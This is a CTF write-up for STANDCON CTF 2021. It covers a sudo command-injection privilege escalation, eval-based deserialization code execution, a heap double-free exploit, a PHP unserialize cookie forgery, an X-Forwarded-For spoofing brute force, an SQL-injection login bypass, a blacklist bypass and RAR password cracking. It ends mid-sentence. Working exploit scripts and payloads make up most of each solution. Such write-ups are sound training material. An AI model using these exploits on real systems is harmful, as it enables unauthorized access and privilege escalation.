STANDCON CTF 2021

Pwn

Space University of Interior Design

Storytelling is the root of interior design.
Author: zeyu2001

We're given shell access to a machine, logged in as guest. We start poking around and notice a few interesting things:

We see that python3.7 has the suid bit set. Given the name of the challenge, this is likely relevant.

./usr/bin:
total 43908
...
-rwsr-xr-x 1 jared root   4877888 Jan 22 20:04 python3.7
ls -lR /*

We also notice yet another reference to jared and /home/jared/query_db.py in /etc/sudoers:

Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

root    ALL=(ALL:ALL) ALL
jared   ALL=(ALL) NOPASSWD: /home/jared/query_db.py
/etc/sudoers

Note that at this point, since we are guest, we cannot read /home/jared/query_db.py.

We can make use of the suid'ed python3.7 to read query_db.py by running /usr/bin/python3.7 -c "print(open('/home/jared/query_db.py').read())":

#!/usr/bin/python3
import os
import tempfile
import argparse


def query_db(row):

    if not row:
        row = 'FirstName'

    sql = f".open /home/jared/chinook.db\nSELECT {row} FROM employees;"
    os.system(f'echo "{sql}" | /usr/bin/sqlite3')

    print("Done!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--row", help="Row to query")
    args = parser.parse_args()

    query_db(args.row)
/home/jared/query_db.py

We dumped chinook.db and realised there was nothing relevant in there. Poking around further, we find /home/jared/creds.txt:

In case I forget my credentials.

jared:iamrich

Thanks to my awesome sysadmin, no one else can see this file!
/home/jared/creds.txt

Which we can use to login as jared to explore further: echo iamrich | su -c "whoami" jared.

At this point, we can put all the pieces together:

  1. jared can run /home/jared/query_db.py as root with sudo because of the entry in /etc/sudoers
  2. There is a trivial command injection vulnerability in /home/jared/query_db.py which we can exploit to effectively get a root shell

This leads us to our final payload of:

echo iamrich | su -c "sudo /home/jared/query_db.py --row '\";cat /root/flag.txt; echo \"' " jared

Resulting in:

.open /home/jared/chinook.db
SELECT
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}Done!

Rocket Science

Welcome to Rocket Science! In this class, we will learn all about rockets. But first, let's revise your numbers!
Author: zeyu2001

We're given a Python script:

#!/usr/bin/env python

import lambdaJSON as lj
import random


ASCII_ART = """
<snip>
"""

print(ASCII_ART)
print("Welcome to Rocket Science! In this class, we will learn all about rockets.")
print("For our first lesson, we will start with the basics of mathematics.")

while True:
	print("1) Test your knowledge\n2) Save numbers\n3) Load numbers")
	
	ipt = input("> ")
	
	if ipt == '1':
	
		print("Do you know your numbers?")
		num_to_word = {1: 'one', 2: 'two', 3: 'three', 4: 'four', 5: 'five'}
		
		num = random.randint(1, 5)
		print(f"What is {num} in words?")
		
		ans = input("> ")
		
		if ans == num_to_word[num]:
			print("You're right! Good job!")
		else:
			print(f"The correct answer is {num_to_word[num]}. Try again!")
	
	elif ipt == '2':
	
		print("Enter 5 numbers to save:")
		numbers = []
		
		try:
			for _ in range(5):
				numbers.append(int(input('> ')))
		except:
			print("Invalid number!")
		
		else:
			print("Sorry, this functionality is disabled at the moment.")
			print("Perhaps you could find us a better library for this?")
		
	elif ipt == '3':
	
		print("Enter saved numbers:")
		
		numbers = lj.deserialize(input('> '))
		
		if type(numbers) == tuple and all(type(x) == int for x in numbers):
			print(numbers)
			
		else:
			print("Don't you know what numbers are?")
rocket_science.py

and a requirements.txt containing lambdajson == 0.1.4.

We immediately notice line 54 of rocket_science.py running deserialize from lambdajson. Taking a look at the source code (of the ancient version, since lambdaJSON is now at version 4.3), we see that deserialize calls eval directly:

restore = lambda obj:          (isinstance(obj, str) 
                        and    (lambda x: x.startswith('bytes://') 
                        and    bytes(x[8:], encoding = 'utf8') 
                        or     x.startswith('int://') 
                        and    int(x[6:]) 
                        or     x.startswith('float://') 
                        and    float(x[8:])
                        or     x.startswith('long://') 
                        and    long(x[7:])
                        or     x.startswith('bool://') 
                        and    eval(x[7:]) 
                        or     x.startswith('complex://')
                        and    complex(x[10:])
                        or     x.startswith('tuple://') 
                        and    eval(x[8:]) or x)(obj) 
                        or     isinstance(obj, list) 
                        and    [restore(i) for i in obj] 
                        or     isinstance(obj, dict) 
                        and    {restore(i):restore(obj[i]) for i in obj} 
                        or     obj)

serialize   = lambda obj: json.dumps(flatten(obj))
deserialize = lambda obj: restore(json.loads(obj))
lambdaJSON.py

Our solve script is thus as follows:

import json
from pwn import *

# p = process("python3 rocket_science.py".split(" "))
p = remote("20.198.209.142", 55020)

p.sendlineafter("Load numbers", "3")
p.sendline(json.dumps({
    "test": "bool://print(__import__('os').system('cat flag.txt'))"
}))
p.interactive()

Intergalatic Mailer

Welcome all beta testers to very first beta release of our mailer. Hopefully there are no bugs :)
Author: onioN

We're given a binary with menu options resembling the usual heap challenges:

Hello fellow testers, welcome to the first version of

          Intergalactic Mailer
           __________________
          |\                /|
    '-..-'| \              / |
    '-..-'| /\____________/\ |
    '-..-'|/                \|
    '-..-'|__________________|

Please help us look out for any bugs
and we might just reward u :)
You can reach us at gimme_flag_plz@stc.com
Enjoy and happy sending!!!

Total number of email created: 0/10
-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
1) Create email
2) Send email
3) Edit email
4) Delete email
5) Create Signature
6) Quit
>

Emails are stored into an array of structs with the following format:

char recipient_addr[24];
char *subject;
char *content;

Creating an email strcpys an email from a predetermined array into recipient_addr, then requests two numbers from the user and mallocs two buffers for subject and content.

Sending an email checks the recipient email, if equal to gimme_flag_plz@stc.com, displays the flag, else does nothing useful except for removing the email from the internal list.

Editing a draft prompts the user to select an existing email and allows them to modify the recipient, subject or content. Since the length of the subject and content could vary, the binary frees the current pointer before mallocing another buffer of the new length.

After a couple of hours staring at the binary, we spot a double-free bug:

__dest = emailStruct[local_3c].subject;
*(undefined8 *)(puVar6 + lVar1 + -8) = 0x402141;
free(__dest,puVar6[lVar1 + -8]);
__s_00 = local_28;
*(undefined8 *)(puVar6 + lVar1 + -8) = 0x402154;
iVar2 = strcmp(__s_00,&DAT_00403e63,puVar6[lVar1 + -8]);
if (iVar2 == 0) {
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x402164;
  puts("You can edit this later....",puVar6[lVar1 + -8]);
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x402170;
  puts("All changes are not saved",puVar6[lVar1 + -8]);
  emailStruct[local_3c].subject = (char *)0x0;
}
else {
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x4021aa;
  __dest = (char *)malloc((long)(int)len + 1,puVar6[lVar1 + -8]);
  __s_00 = local_28;
  emailStruct[local_3c].subject = __dest;
  __dest = emailStruct[local_3c].subject;
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x402200;
  strcpy(__dest,__s_00,puVar6[lVar1 + -8]);
  __dest = emailStruct[local_3c].subject;
  __s = emailStruct[local_3c].subject;
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x40224c;
  sVar4 = strlen(__s,puVar6[lVar1 + -8]);
  __dest[sVar4 - 1] = '\0';
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x402262;
  puts("Subject successfully replaced!",puVar6[lVar1 + -8]);
}
Subject editing

This is part of the function handling editing of the subject and content fields of an email. We see that on line 3, the current subject buffer is freeed. If the user content is equal to !q (ie iVar3 == 0), two messages are printed and the subject pointer is set to NULL. Otherwise, another buffer is malloced and the user input is copied into it.

__dest = emailStruct[local_3c].content;
*(undefined8 *)(puVar6 + lVar1 + -8) = 0x4022e2;
free(__dest,puVar6[lVar1 + -8]);
__s_00 = local_28;
*(undefined8 *)(puVar6 + lVar1 + -8) = 0x4022f5;
iVar2 = strcmp(__s_00,&DAT_00403e63,puVar6[lVar1 + -8]);
if (iVar2 == 0) {
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x402305;
  puts("You can edit this later....",puVar6[lVar1 + -8]);
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x402311;
  puts("All changes are not saved",puVar6[lVar1 + -8]);
}
else {
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x402325;
  __dest = (char *)malloc((long)(int)len + 1,puVar6[lVar1 + -8]);
  __s_00 = local_28;
  emailStruct[local_3c].content = __dest;
  __dest = emailStruct[local_3c].content;
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x40237b;
  strcpy(__dest,__s_00,puVar6[lVar1 + -8]);
  __dest = emailStruct[local_3c].content;
  __s = emailStruct[local_3c].content;
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x4023c7;
  sVar4 = strlen(__s,puVar6[lVar1 + -8]);
  __dest[sVar4 - 1] = '\0';
  *(undefined8 *)(puVar6 + lVar1 + -8) = 0x4023dd;
  puts("Content successfully replaced!",puVar6[lVar1 + -8]);
}
Content Editing

We see something very similar here to handle content editing, except that on line 12, we are not nulling out the content pointer.

This means that if we were to edit the content of email X, then write !q to cancel the saving, the content pointer has been freeed but still remains in the email struct. Editing the same email again will free the already freed content pointer again!

To actually exploit this, we heavily reference https://upsecurity.rocks/heap-exploiting-4/. Our objective is to write data at tempEmail + 0x17, which currently contains admin_Devloper@stc.com, overwriting it with gimme_flag_plz@stc.com.

We first patch the binary to use the provided libc and ld: patchelf --set-interpreter ./ld.so --add-needed ./libc.so ./intergalatic_mailer. It is useful to note that the challenge author compiled the provided libc, disabling tcache.

We first trigger the double-free bug:

createEmail(subject="subject1", content="content1")
createEmail(subject="subject2", content="content2")

editEmail(1, len_content=32, content="!q") # free content of email 1
editEmail(2, len_content=32, content="!q") # free content of email 2
editEmail(1, len_content=32, content="!q") # free content of email 1 again, fastbin dup

We free email1.content, email2.content, then email1.content again.

Examining the fastbins at this stage, we see we now have three bins, two of which are duplicates:

Note that because editing the content of an email is essentially

free(content)
read user input
if user input == "!q":
	return
else:
	content = malloc(...)
    strcpy(content, user input)

, we can write our target address, TARGET_LOC (a bit before tempEmail + 0x17) into email1.content with the third email edit. This overwrites the internal metadata that malloc uses to manage chunks, allowing us to malloc that chunk at an arbitrary (almost) location in memory.

createEmail(subject="subject1", content="content1")
createEmail(subject="subject2", content="content2")

editEmail(1, len_content=32, content="!q") # free content of email 1
editEmail(2, len_content=32, content="!q") # free content of email 2
editEmail(1, len_content=32, content=p64(TARGET_LOC)) # free content of email 1 again, fastbin dup

At this point, if we were to make three more mallocs (note the "incorrect fastbin_index" on the last chunk above), we see:

This is a mitigation that has to be bypassed. If we were to look at the structure of a valid chunk:

We see that for the chunk with address 0x665290, the size 0x31 is in the word immediately before.

Conveniently, the binary provides a "create signature" function which allows to write data at tempEmail, right before the area where we need to write our email address.

void createSign(void)
{
  size_t sVar1;
  
  puts("Please input your desired signature");
  read(0,tempEmail,0x17);
  sVar1 = strcspn(tempEmail,"\n");
  tempEmail[sVar1] = 0;
  return;
}

With this in mind, we write 1 (aka 0x31) into the signature (at 0x4061e0), then set TARGET_LOC at 0x4061e8 so that malloc sees a valid size field before our fake chunk.

r.sendlineafter("Create Signature", "5")
r.sendlineafter("signature", "1") # 1 is 0x31, the correct fastbin_index for the fake chunk

createEmail(subject="subject1", content="content1")
createEmail(subject="subject2", content="content2")

editEmail(1, len_content=32, content="!q") # free content of email 1
editEmail(2, len_content=32, content="!q") # free content of email 2
editEmail(1, len_content=32, content=p64(TARGET_LOC)) # free content of email 1 again, fastbin dup

At this point, we see all we have to do is make two more mallocs (which will be placed on the actual heap), before we make a third malloc which will be placed in tempEmail. A bit of manual offset tweaking to match the emails later, and we have our flag!

from pwn import *

# https://upsecurity.rocks/heap-exploiting-4/
TARGET_LOC = 0x4061d0 + 8 # intended location is 0x4061e0 (tempEmail) + 8, but seems to be offset?
TARGET_LOC += 0x01000000 # first byte of written data seems to vanish? 

r = process("./intergalatic_mailer")
# r =remote('20.198.209.142', 55023)

gdb.attach(r)

def createEmail(len_subject=32, subject="subject", len_content=32, content="content"):
    r.sendlineafter("Create email", "1")
    r.sendlineafter("one of the default email", "1")
    r.sendlineafter("space do you need for the subject", str(len_subject))
    r.sendlineafter("input your subject", subject)
    r.sendlineafter("space do you need for the email message", str(len_content))
    r.sendlineafter("input your email", content)

def editEmail(email_index, len_content, content):
    r.sendlineafter("Edit email", "3")
    r.sendlineafter("do u want to edit?", str(email_index))
    r.sendlineafter("element do u want to edit", "3")
    r.sendlineafter("space do you need", str(len_content))
    r.sendlineafter("input your email", content)

r.sendlineafter("Create Signature", "5")
r.sendlineafter("signature", "1") # 1 is 0x31, the correct fastbin_index for the fake chunk

createEmail(subject="subject1", content="content1")
createEmail(subject="subject2", content="content2")

editEmail(1, len_content=32, content="!q") # free content of email 1
editEmail(2, len_content=32, content="!q") # free content of email 2
editEmail(1, len_content=32, content=p64(TARGET_LOC)) # free content of email 1 again, fastbin dup

createEmail(subject="subject3", content="content3") # allocate two chunks on the heap

createEmail(subject="A" * 15 + "gimme_flag_plz@stc.com", content="content4") # subject is placed at `0x4061e8`
createEmail(subject="subject5", content="content5") # create an email with the recipient we just overwrote

r.sendlineafter("Send email", "2")
r.sendlineafter("Which email", "5")

r.interactive()
.==============================================.
WOW!!! You actually found a bug!!!
Here is your reward for your trouble :)
        _
       |E]
     .-|=====-.
     | | FLAG |  STC{00P5_wh0_d1D_1_H34p_700}
     |________|___
          ||
          ||
          ||   www                %%%
   vwv    ||   )_(,;;;,        ,;,\_/ www
   )_(    ||   \|/ \_/         )_(\|  (_)
   \|   \ || /\|/  |/         \| \|// |
___\|//jgs||//_\V/_\|//_______\|//V/\|/__
.==============================================.

Web

Star Cereal

Have you heard of Star Cereal? It's a new brand of cereal that's been rapidly gaining popularity amongst astronauts - so much so that their devs had to scramble to piece together a website for their business! The stress must have really gotten to them though, because a junior dev accidentally leaked part of the source code...
Author: zeyu2001
**Note: This is NOT required for solving but may have caused some of your payloads to fail. **
In line 11 of process_login.php:

$this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";

Should be

$this->query = "SELECT email, password FROM starcereal.admins WHERE email=? AND password=?";

Additional hint: Think about what the code is checking. Your solution should work regardless of the contents of the database.

We're given the following source code:

<?php

class SQL
{
	protected $query;
	
	function __construct()
	{
		$this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
	}
	
	function exec_query($email, $pass)
	{
		$conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS"));

		// Check connection
		if ($conn->connect_error) {
			die("Connection failed. Please inform CTF creators.");
		}
		
		$stmt = $conn->prepare($this->query);

		// Sanity check
		if (! $stmt->bind_param("ss", $email, $pass))
		{
			return NULL;
		}
		
		$stmt->execute();
		$result = $stmt->get_result();
		
		return $result;
	}
	
}


class User
{
	public $email;
	public $password;
	
	protected $sql;
	
	function __construct($email, $password)
	{
		$this->email = $email;
		$this->password = $password;
		$this->sql = new SQL();
	}
	
	function __toString() 
	{
		return $this->email . ':' . $this->password;
	}
	
	function is_admin()
	{
		$result = $this->sql->exec_query($this->email, $this->password);
		
		if ($result && $row = $result->fetch_assoc()) {
			if ($row['email'] && $row['password'])
			{
				return true;
			}
		}
		return false;
	}
}


class Login
{
	public $user;
	public $mfa_token;
	
	protected $_correctValue;
	
	function __construct($user, $mfa_token)
	{
		$this->user = $user;
		$this->mfa_token = $mfa_token;
	}
	
	function verifyLogin()
	{
		$this->_correctValue = random_int(1e10, 1e11 - 1);
		if ($this->mfa_token === $this->_correctValue)
		{
			return $this->user->is_admin();
		}
	}
}


// Verify login
if(isset($_COOKIE["login"])){
	try
	{
		$login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		if ($login->verifyLogin())
		{
			$_SESSION['admin'] = true;
		}
		else
		{
			$_SESSION['admin'] = false;
		}
	}
	catch (Error $e)
	{
		$_SESSION['admin'] = false;
	}
}


// Handle form submission
if (isset($_POST['email']) && isset($_POST['pass']) && isset($_POST['token']))
{
	$login = new Login(new User($_POST['email'], $_POST['pass']), $_POST['token']);
	setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/");
	header("Refresh:0");
	die();
}

?>

We can immediately see that the code accepts an arbitrary chunk of data and tries to unserialize it. This is a classic PHP deserialization attack.

There are two checks to bypass here:

  1. Login->verifyLogin(), which randomly generates a number (too large to be bruteforced) and compares it with the input token value
  2. User->is_admin(), which makes a SQL query with the input email and password

Taking a look at the serialized output by running:

$login = new Login(new User("abc@a.com", "pass"), 13245);

$ser = serialize($login);
echo "before mod\n";
var_dump($ser);
O:5:"Login":3:{s:4:"user";O:4:"User":3:{s:5:"email";s:9:"abc@a.com";s:8:"password";s:4:"pass";s:6:"*sql";O:3:"SQL":1:{s:8:"*query";s:63:"SELECT email, password FROM admins WHERE email=? AND password=?";}}s:9:"mfa_token";i:13245;s:16:"*_correctValue";N;}

Note that the serialized output seen here is not exactly valid because protected properties have null bytes in the serialized representation, hence the challenge needing to base64 encode/decode.

Interestingly, all the instance properties are serialized. We see in the source code that they are initialized in __construct, which is not called when unserialize is used to deserialize input data.

To bypass the first check in User->verifyLogin(), we can make _correctValue point to a reference of mfa_token. When $this->_correctValue = random_int(1e10, 1e11 - 1); is ran, the same value is written into mfa_token, making the next check always succeed.

At this point, our serialized payload looks like

O:5:"Login":3:{s:4:"user";O:4:"User":3:{s:5:"email";s:9:"abc@a.com";s:8:"password";s:4:"pass";s:6:"*sql";O:3:"SQL":1:{s:8:"*query";s:63:"SELECT email, password FROM admins WHERE email=? AND password=?";}}s:9:"mfa_token";i:13245;s:16:"*_correctValue";R:7;}

To bypass the second check in User->is_admin(), we simply modify the SQL that is serialized, changing it to SELECT 1 AS email, 1 AS password WHERE ?!=?. Note that we include two parameters so that the call to stmt->bind_param("ss"...) succeeds (but is a NOP). We also write our SQL to directly return data without querying any tables, since initially there was no indication that a database was even configured.

This gives us our final payload, which we generate with

$login = new Login(new User("abc@a.com", "pass"), 13245);
$ser = serialize($login);

$ser = str_replace('63:"SELECT email, password FROM admins WHERE email=? AND password=?"', '43:"SELECT 1 AS email, 1 AS password WHERE ?!=?"', $ser);

$ser_str = urlencode(base64_encode($ser));
echo $ser_str . "\n";

and send with

import requests

PAYLOAD = "Tzo1OiJMb2dpbiI6Mzp7czo0OiJ1c2VyIjtPOjQ6IlVzZXIiOjM6e3M6NToiZW1haWwiO3M6OToiYWJjQGEuY29tIjtzOjg6InBhc3N3b3JkIjtzOjQ6InBhc3MiO3M6NjoiACoAc3FsIjtPOjM6IlNRTCI6MTp7czo4OiIAKgBxdWVyeSI7czo0MzoiU0VMRUNUIDEgQVMgZW1haWwsIDEgQVMgcGFzc3dvcmQgV0hFUkUgPyE9PyI7fX1zOjk6Im1mYV90b2tlbiI7aToxMzI0NTtzOjE2OiIAKgBfY29ycmVjdFZhbHVlIjtSOjc7fQ%3D%3D"

r = requests.get("http://20.198.209.142:55043/login.php", cookies={
    "login": PAYLOAD
})


print(r.text)

giving us

<div class="alert alert-success" role="alert">
   Welcome back, admin! Your flag is STC{1ns3cur3_d3s3r14l1z4t10n_7b20b860e23a128688cffc07a5b7e898}
63</div>

Star Cereal 2

Ha, that was sneaky! But I've patched the login so that people like you can't gain access anymore. Stop hacking us!
Author: zeyu2001
Hint: The developer seems very concerned about where the login requests are coming from.
Hint: In an enterprise setting, there are multiple machines. Where could the admin be logging in from?

We note the comment in the main page:

<!--
Star Cereal page by zeyu2001

TODO:
	1) URGENT - fix login vulnerability by disallowing external logins (done)
	2) Integrate admin console currently hosted at http://172.16.2.155
-->

And the login returns a 403:

➜  star2 curl http://20.198.209.142:55045/login.php
<h1>Forbidden</h1><p>Only admins allowed to login.</p>

Referring to the hint, we make a guess that the application is checking for X-Forwarded-For and bruteforce the IP:

import requests
import itertools

for p in itertools.product(list(range(0, 256)), repeat=2):
    ip = f"172.16.{p[0]}.{p[1]}"
    print(ip)

    r = requests.get("http://20.198.209.142:55045/login.php", headers={
        "X-Forwarded-For": ip
    })

    if r.status_code != 403:
        print(r.text)
        break

And we discover that sending the header X-Forwarded-For: 172.16.2.24 gives us a login form.

At this point, my team mate chucks sqlmap at it and discovers that the form has an SQL injection vulnerability (even though part 1 used prepared statements?...), comes up with a payload and we get our flag.

import requests

r = requests.post("http://20.198.209.142:55045/login.php", headers={
    "X-Forwarded-For": "172.16.2.24"
}, data={
    "email": "admin",
    "pass": "admin' UNION SELECT 'admin','admin';#"
})

print(r.text)
<div class="alert alert-success" role="alert">
  Welcome back, admin! Your flag is STC{w0w_you'r3_r3lly_a_l33t_h4x0r_bc1d4611be52117c9a8bb99bf572d6a7}
68</div>

Misc

Z-Space Hulk

Oh no! Our mainframe computer has been hacked !!!! Can you help us bypass the hack?
Author: onioN

We're given shell access to a machine with certain commands being blacklisted.

We first identify that sh is blacklisted, but... <space>sh isn't.

➜  ~ nc 20.198.209.142 55052
Z-Space Hulk mainframe: Give me a command and i may execute it for u :). [q] to quit
sh
Z-Space Hulk mainframe: Nice try
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓───▓▓▓──▓▓▓──────▓▓▓──▓▓▓▓▓
▓██▓▓▓▓▓▓──▓─▓▓──▓▓──▓▓▓▓──▓▓──▓▓▓▓▓
▓████▓▓▓▓──▓▓─▓──▓▓──▓▓▓▓──▓▓▓▓▓▓▓▓▓
▓█▓███▓▓▓──▓▓▓───▓▓▓──────▓▓▓──▓▓▓▓▓
▓█▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓█▓▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓
▓█▓▓▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███▓
▓█▓▓▓▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████▓█▓
▓██████████████████████▓▓▓█████▓▓▓█▓
▓████░░░░░░░░░░░░░░░░░██████▓▓▓▓▓▓█▓
███░░░░░░░░░░░░░░░░░░░░░░░██▓▓▓▓▓▓█▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░██▓▓▓▓██▓
█░░░░░░░░░█░░░░░░░░░░░░░░░░░██████▓▓
█░░░████████░░░░█░░░░░░░░░░░░█████▓▓
█░░█████████░░░░█████░░░░░░░░░███▓▓▓
█░██▒███████░░░███████████░░░░░██▓▓▓
█░█▒▒▒███▒██░░░██▒▒█████████░░░█▓▓▓▓
█░██▒▒▒▒▒▒██░░░█▒▒▒▒████▒▒▒██░░█▓▓▓▓
█░███▒▒████░░░░█▒▒▒▒███▒▒▒▒▒██░█▓▓▓▓
█░██████░░░░░░██▒▒▒▒▒▒▒▒▒▒███░░█▓▓▓▓
█░██░░░░░███░░███▒▒▒▒▒▒▒▒███░░░█▓▓▓▓
█░░░░░█████░░░░████▒▒▒▒████░░░░█▓▓▓▓
█░░░░██░░░██░░░███████████░░░░█▓▓▓▓▓
█░░░██░░░░░██░░░████████░░░░░░█▓▓▓▓▓
█░░░█░░░░░░░██░░░░███░░░░░░░░█▓▓▓▓▓▓
█░░░░░░░░░░░░█░░░░░░░░░░░░░░░█▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓▓▓

Z-Space Hulk mainframe: Give me a command and i may execute it for u :). [q] to quit
 sh
cat flag.txt
STC{5h0r7h4nd5_4r3_k00l}

Loki Looper

alright another ODINSON needs our help, mister loki got caught by the time popos again. Right before they caught him, he sent us his location for us to break him out from. It's obviously locked with a key but what is it?
Note: An animal kinda does make space noises too right? - DAMMIT THE GOD OF MISCHIEF AND HIS RIDDLES!
Author: Hades95200
Hint: https://youtu.be/nDqP7kcr-sc + 123
All lower, it is encoded just like n0h4ts

We're given a .rar file with a password set. Since the hint involved whale123 and leetspeak, we mangle whale123 with https://github.com/4n4nk3/Wordlister, then run John the Ripper. We discover the password wh4l3123.

We extract a base64-encoded audio file, which contains a recording of a Slow-scan television transmission. Playing it into Robot36 gives us our flag: